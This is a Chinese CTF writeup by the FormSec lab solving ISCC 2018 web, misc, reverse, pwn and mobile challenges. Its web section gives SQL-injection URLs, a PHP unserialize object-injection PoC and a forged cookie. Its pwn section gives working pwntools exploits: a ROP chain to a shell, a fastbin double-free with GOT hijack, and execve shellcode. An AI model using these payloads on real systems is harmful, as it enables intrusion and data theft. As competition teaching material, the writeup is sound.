FormSec

逢魔网络安全实验室

ISCC 2018 Writeup

前言

ISCC 2018 CTF中,一些题目还是很不错的。但是需要吐槽的就是这个积分机制,私以为一次性放出所有题目而且反作弊机制完善的情况下动态积分这个方法很好。但是,战线太长还是不要用动态积分。不过话说回来,战线长也是ISCC的传统吧。最后祝ISCC越办越好!也希望我们的Writeup能对大家有所帮助吧!

赛事的运维人员还是很nice的

WEB

比较数字大小

前端进行了限制,抓包改数字

Web01

因为在php中strcmp函数在进行数据操作时,如果如果failure时,返回NULL,此时由于php的弱类型NULL
== 0 返回true

所以我们转入数组,当数组与字符串对比时导致failure,返回NULL

http://118.190.152.202:8003/?password[]=1

为什么这么简单

题目给出:“需要从 http://edu.xss.tv
进入,并且只有我公司的IP地址才可以进入第二关,公司IP为:110.110.110.110”

所以在请求题页面时,添加Referer:
http://edu.xss.tv,在添加Client-IP:110.110.110.110

最后得到另外一个页面:

访问http://118.190.152.202:8016/number2.php?token=260ca9dd8a4577fc00b7bd5810298076
链接后,会发现加载了一个password.js文件:http://118.190.152.202:8016/password.js

然后在此js文件中发现“ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4”

然后base64解密得到:

Password:xinyiji.com

本地的诱惑

X-Forwarded-For: 127.0.0.1

你能跨过去吗?

你能绕过吗?

php伪协议读取文件,用大小写绕过限制

一切都是套路

web02

客户端ip地址伪造

请ping我的ip 看你能Ping通吗?

命令注入

Please give me username and password!

http://php.net/manual/en/function.is-numeric.php

Php是世界上最好的语言

通过给出的源码知道通过弱类型md5后的结果为0xexxx,再给0对比时进行类型转换,所以将password=
240610708,username任意值时,返回另外一个页面:

http://118.190.152.202:8005/no_md5.php?a=hello

很明显,双\$,导致变量覆盖,我们覆盖flag这个变量即可

http://118.190.152.202:8005/no_md5.php?a=flag

SQL注入的艺术

宽字节注入

http://118.190.152.202:8015/index.php?id=1%bf%5c%27%20and%201=2%20union%20select%201,(select%20flag%20from%20admins),3,4,5,6,7,8%23

试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>

Sqli

首先在登录用户名这里存在注入,是延时盲注,通过sqlmap可以跑出来内容

最后又两个用户:

test/test

admin/ u4g009

然后使用admin登录后,id参数又存在回显注入,最后另外一个表news中还有一个很长的column:kjafuibafuohnuvwnruniguankacbh

http://118.190.152.202:8011/?id=1%20and%201=2%20Union%20select%201,2,3,COLUMN_NAME,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27news%27%23

最后查出此字段的内容为:

http://118.190.152.202:8011/?id=1%20and%201=2%20Union%20select%201,2,3,kjafuibafuohnuvwnruniguankacbh,5,6%20from%20news%23

flag{hahaha999999999}

Collide

通过给出的源代码可以知道这里考点是hash扩展攻击。

Hash长度扩展攻击可以让攻击者无须知道salt的值,只需知道一组明文和此明文对应的密文及密文长度,既可以构造出在原有明文基础上添加任意信息的新密文。

这里我们知道guest的密文,已经秘钥的长度,需要我们给出的明文中包含admin,而且密文就是guest的密文,这里是很简单的hash扩展攻击,我们使用hashpump工具。

最后提交

有种你来绕

随便输入root,root后登陆提示username error

用burp跑一下用户名 ,得到用户名是admin

然后burp跑一下得到密码是nishishabi1438 ,进去后输入flag得到

Only admin can see flag

通过给出的提示,访问index.txt得到源码:http://118.190.152.202:8001/index.txt

源码中可知,在登录过程中给出了密文cipher和初始化向量iv,那么很容易想到这里考的是padding
Oracle attack和CBC翻转攻击

题目判断不让使用admin登录,但是有需要判断是admin才能回去flag,那么我们就需要伪造一个密文来让他解密后得到admin明文

我们现在已知的明文分组为:

1
2
3
4
5
6
7
8
9
a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}

s:2:{s:8:"userna

me";s:5:"zdmin";

s:8:"password";s

:3:"12345";}

然后我们需要将zdmin变为admin,所以我们只需要反正第一块密文即可,因为CBC反正中,第一块密文作为第二块密文解密的iv,所以修改第一块密文即可已得到第二块明文解密后得到admin了

得到正确解密后,但是无法反序列化的明文

因为我们已经损坏了第一块密文,所以我们需要同构造iv修复第一块密文,让其解密之后的明文为a:2:{s:8:”userna

得到构造的iv,然后提交:

Only Admin

像这种题,一般都需要代码审计,所以先下载源代码:http://118.190.152.202:8020/web.zip

然后审计代码,通过阅读代码可以知道,很多功能都需要登录才能使用,但是我们又没法得到账号,而且又不能注册,那么利用点只能在登录的地方了。

在config.php中:

只有当前用户为admin才能看到flag

但是没有admin的账号没办法登录啊,而且SESSION[‘admin’]赋值的地方在usercontroller.class.php文件中:

所以得想办法让这里存在sql查询的结果返回的userid=1才可以。

继续查找利用点,在此文件的__construct构造函数中发现危险的地方:

这里将用户的输入带入了unserialize,那么我们找到一个利用连就可以进行漏洞利用了。

最后\$u[‘email’],
\$u[‘password’]分部进入数据库查询了,但是这里都是用过来函数escape过滤了

此过滤函数存在一个缺陷,如果是对象object的情况就直接return了

再观察到messagecontroller.class.php中存在一个__toString魔法函数,

那么就很明显了,我们构造一个对象进入sql查询,在进型字符串操作的时候()’\$email’)这个对象直接返回一个字符串,此时正好绕过过滤。

构造的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
/*
class User{
var $dbTable = "users where `username`='admin'#";
}*/

class Message{

var $msg = "";
var $from = "";
var $to = "";
var $id = -1;

function __construct($from, $to, $msg, $id=-1) {
global $mysqli;
$this->from = $from;
$this->to = $to;
$this->msg = $msg;
$this->id = $id;
}

function __toString(){
return $this->msg;
}

}

$a = new Message('xfkxfk', 'xfkxfk', "xfkxfk@formsec.com' and 1=2 union select * from users where `username`='admin'#");
$b = serialize(array('email'=>$a, 'password'=>'xfkxfk'));
$ckSavePass = $b;
echo base64_encode($ckSavePass);
?>

此时添加cookie访问即可:

1
ckSavePass=YToyOntzOjU6ImVtYWlsIjtPOjc6Ik1lc3NhZ2UiOjQ6e3M6MzoibXNnIjtzOjc5OiJ4Zmt4ZmtAZm9ybXNlYy5jb20nIGFuZCAxPTIgdW5pb24gc2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBgdXNlcm5hbWVgPSdhZG1pbicjIjtzOjQ6ImZyb20iO3M6NjoieGZreGZrIjtzOjI6InRvIjtzOjY6Inhma3hmayI7czoyOiJpZCI7aTotMTt9czo4OiJwYXNzd29yZCI7czo2OiJ4Zmt4ZmsiO30=

此时返回302跳转到index.php了,并且放回登录成功的phpsessid

最后加上这个phpsessid即可得到flag:

MISC

What is that?

修改图片像素即可看到flag

Flag={_Welcome_To_ISCC2018}

数字密文

数字一看就是ascii的hex,用binascii转换一下即可

1
2
3
4
5
6
7
Python 2.7.3 (default, May 13 2013, 20:04:56) 
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> binascii.a2b_hex("69742773206561737921")
"it's easy!"
>>>

秘密电报

秘密电报:

知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

培根解密

重重谍影

进行多次urldecode和base64decode后进行aes空秘钥解密再进行

http://www.keyfc.net/bbs/tools/tudoucode.aspx

有趣的ISCC

下载图片用文本编辑器打开,文件最后有一段html实体编码内容,解码后再通过unicode解码得到flag

Where is the FLAG

文本编辑器打开图片发现图片使用Adobe Fireworks CS5处理过

用Adobe Fireworks
CS5打开发现5个图层,删除第一个logo的图层,其余每个图层中有两个二维码部分区域,将画图区域调大,重新拼接图片得到最终的二维码,二维码识别后得到flag

凯撒十三世

凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。

ebdgc697g95w3经过rot13得到roqtp697t95j3,键盘上对应的按键下移一行得到flag

flag:yougotme

一只猫的心思

附件是一个图片文件,用010editor打开发现底部有char
unknownPadding[10752]未知格式数据

发现其中出现wps字样,我们将这部分保存为doc文件并打开

打开后是一段密文,用与佛论禅解密

再经过多次base解码就可以得到flag

暴力XX不可取

压缩包伪加密

07改为00

Vfppjrnerpbzvat

rot13解密

isccwearecoming

嵌套ZIPs

没啥脑洞,首先利用azpr爆破一波3.zip密码。

然后解出来两个文件,然后利用已知明文攻击,使用azpr爆破一波zip文件。

然后解出来的还是加密的压缩包,不过这次就是伪加密了,直接二进制修改。得到最后的flag

ISCC_!S_my_favor1te_CTF

reverse

RSA256

256位的RSA解密

1
2
3
4
5
6
>>> from Crypto.PublicKey import RSA
>>> pub = RSA.importKey(open('public.key').read())
>>> n = long(pub.n)
>>> e = long(pub.e)
>>> print n
98432079271513130981267919056149161631892822707167177858831841699521774310891

然后在网站http://www.factordb.com/index.php?query=98432079271513130981267919056149161631892822707167177858831841699521774310891进行质数分解。得到`p= 302825536744096741518546212761194311477q= 325045504186436346209877301320131277983`。

然后,根据p、q和e求d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# coding = utf-8
def computeD(fn, e):
(x, y, r) = extendedGCD(fn, e)
#y maybe < 0, so convert it
if y < 0:
return fn + y
return y

def extendedGCD(a, b):
#a*xi + b*yi = ri
if b == 0:
return (1, 0, a)
#a*x1 + b*y1 = a
x1 = 1
y1 = 0
#a*x2 + b*y2 = b
x2 = 0
y2 = 1
while b != 0:
q = a / b
#ri = r(i-2) % r(i-1)
r = a % b
a = b
b = r
#xi = x(i-2) - q*x(i-1)
x = x1 - q*x2
x1 = x2
x2 = x
#yi = y(i-2) - q*y(i-1)
y = y1 - q*y2
y1 = y2
y2 = y
return(x1, y1, a)

p = 325045504186436346209877301320131277983
q = 302825536744096741518546212761194311477
e = 65537

n = p * q
fn = (p - 1) * (q - 1)

d = computeD(fn, e)
print d

求出后根据n、e和d得到私钥

1
2
3
4
5
6
7
8
9
10
>>> from Crypto.PublicKey import RSA
>>> pub = RSA.importKey(open('public.key').read())
>>> n = long(pub.n)
>>> e = long(pub.e)
>>> print e
65537
>>> d = 1958518567680136759381316911808879057130620824462099039954817237801766103617
>>> key = RSA.construct((n,e,d))
>>> open("private.key","w").write(key.exportKey())
>>>

最后利用私钥解密文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import rsa
>>> p=open("private.key").read()
>>> privkey = rsa.PrivateKey.load_pkcs1(p)
>>> crypto = open("encrypted.message1").read()
>>> message = rsa.decrypt(crypto,privkey)
>>> print message
flag{3b6d3806-4b2b

>>> crypto = open("encrypted.message2").read()
>>> print rsa.decrypt(crypto,privkey)
-11e7-95a0-

>>> crypto = open("encrypted.message3").read()
>>> print rsa.decrypt(crypto,privkey)
000c29d7e93d}

>>>

flag flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}

My math is bad

直接使用IDA载入这个题目,看到如下内容:

1
2
3
4
if ( s[1] * (signed __int64)s[0] - s[3] * (signed __int64)s[2] == 0x24CDF2E7C953DA56LL
&& 3LL * s[2] + 4LL * s[3] - s[1] - 2LL * s[0] == 0x17B85F06
&& 3 * s[0] * (signed __int64)s[3] - s[2] * (signed __int64)s[1] == 0x2E6E497E6415CF3ELL
&& 27LL * s[1] + s[0] - 11LL * s[3] - s[2] == 0x95AE13337LL )

根据这个转化为方程

1
2
3
4
b * a - d * c = 0x24CDF2E7C953DA56
3 * c + 4 * d - b - 2 * a = 0x17B85F06
3 * a * d - c * b = 0x2E6E497E6415CF3E
27 * b + a - 11 * d - c = 0x95AE13337

写出matlab代码

1
[a,b,c,d]=solve('b * a - d * c = 2652042832920173142','3 * c + 4 * d - b - 2 * a = 397958918','3 * a * d - c * b = 3345692380376715070','27 * b + a - 11 * d - c = 40179413815')

使用在线matlab解出答案。

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> binascii.a2b_hex('6f706d61')
'opma'
>>> binascii.a2b_hex('6b5a325a')
'kZ2Z'
>>> hex(829124174)
'0x316b6e4e'
>>> binascii.a2b_hex('316b6e4e')
'1knN'
>>> hex(862734414)
'0x336c484e'
>>> binascii.a2b_hex('336c484e')
'3lHN'
>>>

这样就得到了srand的种子,之后的rand的结果也确定了。

得到了第二个方程组

1
2
3
4
v6 * 39 + v3 * 22 - v4 - v5 = 0xE638C96D3
v6 + v3 + v5 * 45 - v4 * 45 = 0xB59F2D0CB
v3 * 35 + v4 * 41 - v5 - v6 = 0xDCFE88C6D
v5 * 36 + v3 - v4 - v6 * 13 = 0xC076D98BB
1
[v3,v4,v5,v6]=solve('v6 * 39 + v3 * 22 - v4 - v5 = 61799700179','v6 + v3 + v5 * 45 - v4 * 45 = 48753725643','v3 * 35 + v4 * 41 - v5 - v6 = 59322698861','v5 * 36 + v3 - v4 - v6 * 13 = 51664230587')

使用matlab解出答案即可。

1
2
3
4
5
6
7
=======================================
= Welcome to the flag access machine! =
= Input the password to login ... =
=======================================
ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFG
Congratulations! You should get the flag...
flag{th3_Line@r_4lgebra_1s_d1fficult!}

obfuscation and encode

使用IDA载入题目,看到如下内容,将输入的flag编码两次,然后和"lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq"对比。

所以现在需要观察两次的编码方式是什么。

fencode的编码方式很简单,看到三块重要的代码

1
2
idx = v13++;
*(_BYTE *)(a2 + idx) = (char)v10 % 127;
1
v10 += *(&a1[4 * row] + col) * *(&m[4 * v11] + col);
1
2
if ( v15 != 24 )
v2 = -1090034712;

明显,flag的大小是24字节。第一编码是矩阵运算,第二次编码是base64(字母表被替换)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- encoding:utf-8 -*-
from numpy import *
import numpy as np
import base64
import string
import chardet
import ctypes

#base64_charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
base64_charset = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'

letters = list(base64_charset)

def my_base64_encodestring(input_str):
# 对每一个字节取ascii数值或unicode数值,然后转换为2进制
str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
for i in input_str]
output_str = ''
# 不够3的整数倍 补齐所需要的次数
equal_num = 0
while str_ascii_list:
temp_list = str_ascii_list[:3]
if len(temp_list) != 3:
while len(temp_list) < 3:
equal_num += 1
temp_list += ['0'*8]
temp_str = ''.join(temp_list)
# 三个8字节的二进制 转换为4个6字节的二进制
temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
# 二进制转为10进制
temp_str_list = [int(x, 2) for x in temp_str_list]
# 判断是否为补齐的字符 做相应的处理
if equal_num:
temp_str_list = temp_str_list[0:4-equal_num]
output_str += ''.join([letters[x] for x in temp_str_list])
str_ascii_list = str_ascii_list[3:]
output_str = output_str + '=' * equal_num
#print(output_str)
return output_str

def my_base64_decodestring(input_str):
# 对每一个字节取索引,然后转换为2进制
str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', ''))
for i in input_str if i != '=']
output_str = ''
equal_num = input_str.count('=')
while str_ascii_list:
temp_list = str_ascii_list[:4]
temp_str = ''.join(temp_list)
# 补够8位
if len(temp_str) % 8 != 0:
temp_str = temp_str[0:-1*equal_num*2]
# 4个6字节的二进制 转换 为三个8字节的二进制
temp_str_list = [temp_str[x:x+8] for x in [0, 8, 16]]
# 二进制转为10进制
temp_str_list = [int(x, 2) for x in temp_str_list if x]
output_str += ''.join([chr(x) for x in temp_str_list])
str_ascii_list = str_ascii_list[4:]
#print(output_str)
return output_str


def calc_flag_base64(flag):
x = [
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61]
]


for row in range(0, 4):
for col in range(0,6):
x[row][col] = ord(flag[row*4+col])


m = [
[2,2,4,-5],
[1,1,3,-3],
[-1,-2,-3,4],
[-1,0,-2,2]
]

res = ""

for i in range(0, 6):
for j in range(0, 4):
cnt = 0
for k in range(0,4):
cnt += ord(flag[i*4+k])*m[j][k]
res += chr(cnt%256)


return my_base64_encodestring(res)



x = [
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61]
]

rf=my_base64_decodestring("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq")
for row in range(0, 4):
for col in range(0,6):
x[row][col] = ctypes.c_int8(ord(rf[col*4+row])).value


m = [
[2,2,4,-5],
[1,1,3,-3],
[-1,-2,-3,4],
[-1,0,-2,2]
]

# m的逆矩阵
m1 = [
[2,0,2,1],
[1,1,1,2],
[0,2,1,1],
[1,2,2,2]
]

print mat(m1)*mat(x)

最后求出flag形成的矩阵为

1
2
3
4
f{yK_V
ld0N0m
aOUoI?
g__Wl}

还原成flag{dO_y0U_KNoW_0IlVm?}

其实还有一种方法,就是爆破。因为是base64,所以每3字节源数据会生成4字节数据。但是本题中第一次编码是4字节运算的,所以完全可以4字节爆破。btw 土豪的选择

leftleftrightright

这个题目载入ida一看,upx加壳的。再使用upx脱壳后,程序方无法运行了,不过里面的函数还是可以看的。那就带壳调试。

经过我们的分析,发现程序的流程是这样的。先输入一串字符串,然后堆字符串进行变换,利用函数sub_401090来对比,如果结果相同则答案正确。最后的对比字符串为s_imsaplw_e_siishtnt{g_ialt}F。此时就需要知道,什么样的字符串变换后能得到这个字符串。

我们先在这里打上断点。

输入特征字符串abcdefghijklmnopqrstuvwxyz123。程序段下来后,特征字符串被变化成了这样

然后,根据规律就可以推出真正的Flag

pwn

Login

程序流程很简单,先登录,再完成一些功能。

menu函数里有个很明显的栈溢出漏洞。

1
2
3
4
5
6
7
 user@ubuntu ~/pwn/iscc2018/pwn1 checksec pwn50 
[*] '/home/user/pwn/iscc2018/pwn1/pwn50'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

只开了NX,很简答了。程序中提供了system地址,所以只需要/bin/sh的地址。我们观察到ExecCmd函数会把内容写在全局变量中。所以/bin/sh的地址也有了。最终exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

r = process("./pwn50")
r = remote("47.104.16.75",9000)
elf = ELF("./pwn50")

context.log_level = "DEBUG"

offset = 87

pop_rdi_ret =0x00400b03#: pop rdi ; ret ; (1 found)
pop_rsi_r15_ret = 0x00400b01#: pop rsi ; pop r15 ; ret ; (1 found)

r.recvuntil("username: ")
r.sendline("admin")
r.recvuntil("password: ")
r.sendline("T6OBSh2i")

r.recvuntil("Your choice: ")
r.send("1")
r.recvuntil("Command: ")
r.sendline("/bin/sh\x00")


r.recvuntil("Your choice: ")

payload = "3" + offset * "a"
payload += p64(pop_rdi_ret)
payload += p64(0x0000000000601100)
payload += p64(elf.plt["system"])
r.sendline(payload)

r.interactive()

flag{welcome_to_iscc}

Write some paper

简单分析了一下题目,没有溢出。只有一个free后指针悬挂的问题。想到fastbin attack

思路就是:申请两块内存,1和2。释放1,释放2,释放1。然后分配1即可控制fastbin 1的FD。将FD指向PLG.GOT,把内存分配到GOT上,就可以利用gg函数的地址覆盖某个函数的GOT表内容完成GOT Hijack。

这个题目的难点就在于如何构造fastbin的大小和FD的位置。如果分配到GOT表前,则会破坏PLT0导致程序崩溃。经过分析0x60202a这个地址刚好满足我们的条件。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

from pwn import *

paper = 0x6020c0

r = process("./pwn3")
r = remote("47.104.16.75",8999)
elf = ELF("./pwn3")
context.log_level = "DEBUG"

def add_paper(num, idx, content):
r.recvuntil("2 delete paper")
r.sendline("1")
r.recvuntil("to store(0-9):")
r.sendline(str(idx))
r.recvuntil("How long you will enter:")
r.sendline(str(num))
r.recvuntil("please enter your content:")
r.sendline(content)

def del_paper(idx):
r.recvuntil("2 delete paper")
r.sendline("2")
r.recvuntil("it's index(0-9):")
r.sendline(str(idx))


add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
del_paper(1)
del_paper(2)
del_paper(1)

add_paper(0x30, 1, p64(0x60202a))
add_paper(0x30, 1, "aaaaaaaaaaa")
add_paper(0x30, 1, "aaaaaaaaaaa")
#gdb.attach(r, "b add_paper\nc")
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(elf.symbols["gg"]))

r.sendline("a")

r.interactive()

Happy Hotel

用ida载入程序,看了下,流程很简单。漏洞点一眼就能看出来

这个地方,有个栈溢出。我们写的内容会覆盖掉堆的指针,可以造成任意地址写。不过这有个限制,就是strcpy会被\x00截断。

接着查看程序的保护措施。

没开啥保护措施,所以我们可以将shellcode写入bss再控制程序执行shellcode。但是这就需要用到两次任意地址写,也就意味着必须将有漏洞的函数调用两次。所以,我们把有漏洞的函数的地址覆盖到free上即可,这样就可以多次调用任意地址写。首先写入shellcodebss,再用bss的地址覆盖free的got表,即可。

写shellcode到bbs需要将shellcode的首地址向后偏移至少8个字节,因为我们再bss上有全局变量,会覆盖掉bss的前8个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

elf = ELF("./pwn200")
#r = process("./pwn200")
r= remote("47.104.16.75", 8997)
context.log_level = "DEBUG"

r.recvuntil("who are u?")
r.sendline("admin")
r.recvuntil("give me your id ~~?")
r.sendline("404")

r.recvuntil("give me money~")
payload = p64(0x400a29) + "\x00" * (0x40-16) + p64(elf.got["free"])
r.send(payload)

r.recvuntil("choice :")
r.sendline("2")

r.recvuntil("give me money~")
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = shellcode.ljust(0x40-8, "\x00") + p64(0x602098 + 8)
r.send(payload)

#r.interactive()

r.recvuntil("choice :")
r.sendline("2")

r.recvuntil("give me money~")
payload = p64(0x602098+8) + "\x00" * (0x40-16) + p64(elf.got["free"])
r.send(payload)
r.sendline("2")

r.interactive()

mobile

小试牛刀

首先下载Android Studio,配置好AVD(Android Virtual Devie)。注意,下载的Android的操作系统版本尽量不要选高版本的。因为后面的API都变了。

启动安卓虚拟机,安卓这个apk

adb install crack.apk

然后把IDA的android server传上去

adb push c:\ida\dbgsrv\android_server /data/local/tmp

然后切换root

su root

赋执行权限,并启动

chmod 755 /data/local/tmp/android_server

接着转发tcp 端口

adb forward tcp:23946 tcp:23946

AndroidManifest.xml得到程序的名字和启动的类

然后再adb shell中启动am start -D -n com.example.protectapp/org.isclab.shh.protectapp.MainActivity

如果在AVD中弹出这样的窗口就说明成功了

接着在IDA中选择远程Attach

然后再Debug Options里勾上这三项

选择我们要调试的app

然后在Modules中找到libdvm.so

然后双击进去找到dumDexFileOpenPartial函数并下断点,关于为什么要在这里下断点,可以看这篇文章:https://www.cnblogs.com/jiaoxiake/p/6813127.html

接着使用DDMS来看远程调试端口

使用jdb来调试

然后在IDA中点击运行,接着会收到一些进程新号SIGHLD,点击pass to app即可。然后,在IDA中,进程会在我们下断的地方停下。

然后在File->Script Command中编写如下IDC脚本,点击运行,即可将内存中的DEX文件还原出来。

1
2
3
4
5
auto fp, dex_addr, end_addr;
fp = fopen("D:\\iscc_dump.dex", "wb");
end_addr = r0 + r1;
for(dex_addr = r0; dex_addr < end_addr; dex_addr++)
fputc(Byte(dex_addr), fp);

随后使用dex2jar转化为jar包,用JDGUI即可打开分析flag。

点进去一看就找到真正的flag了